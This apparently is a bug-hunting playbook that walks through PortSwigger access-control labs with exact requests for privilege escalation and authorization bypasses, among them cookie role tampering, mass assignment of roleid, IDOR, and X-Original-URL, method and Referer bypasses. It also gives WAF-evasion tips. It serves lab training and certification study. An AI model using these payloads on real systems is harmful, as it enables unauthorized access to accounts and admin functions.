| name | Access Control — Complete Deep Dive |
| description | Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques |
| domain | cybersecurity |
| subdomain | bug-hunting |
| version | 1.0.0 |
| category | bug-hunting/deep-dive-labs |
| tags | ["portswigger","deep-dive","exploitation","zero-day","lab-solutions"] |
| mitre_attack | ["T1078"] |
| tools | ["burp-suite","curl","sqlmap","ffuf","python","hashcat","ysoserial"] |
| difficulty | advanced |
Access Control — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Unprotected admin 🟢 APPRENTICE
/robots.txt reveals /administrator-panel. Navigate directly.
Lab 2: Unpredictable URL admin 🟢 APPRENTICE
Check page source/JS for leaked admin URL: adminPanelTag.setAttribute('href', '/admin-abcd1234');
Lab 3: Role via request parameter 🟢 APPRENTICE
Cookie: session=xxx; Admin=true
Change Admin=false to Admin=true or roleid=2.
Lab 4: Role modified in profile 🟢 APPRENTICE
{"email":"a@b.com","roleid":2}
Add roleid to the profile update JSON request (mass assignment).
Lab 5: User ID in request param 🟢 APPRENTICE
GET /my-account?id=carlos HTTP/1.1
Lab 6: Unpredictable user IDs 🟡 PRACTITIONER
Find victim's GUID in blog posts/comments, then: /my-account?id=VICTIM-GUID.
Lab 7: Data leakage in redirect 🟡 PRACTITIONER
GET /my-account?id=carlos HTTP/1.1
Response body contains API key BEFORE the 302 redirect fires.
Lab 8: Password disclosure 🟡 PRACTITIONER
/my-account?id=administrator — password visible in masked input field (view source).
Lab 9: IDOR 🟢 APPRENTICE
GET /download-transcript/2.txt HTTP/1.1
Change 1.txt to 2.txt etc to download other users' chat transcripts.
Lab 10: URL-based AC bypass 🟡 PRACTITIONER
GET /?username=carlos HTTP/1.1
X-Original-URL: /admin/delete
Frontend blocks /admin/* but backend processes X-Original-URL header.
Lab 11: Method-based AC bypass 🟡 PRACTITIONER
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
Change POST to GET — access control only applied to POST method.
Lab 12: Multi-step no AC on one step 🟡 PRACTITIONER
Skip to step 3 (confirmation) directly without going through protected steps 1 and 2.
Lab 13: Referer-based AC 🟡 PRACTITIONER
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
Referer: https://TARGET/admin
Server only checks Referer contains /admin.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
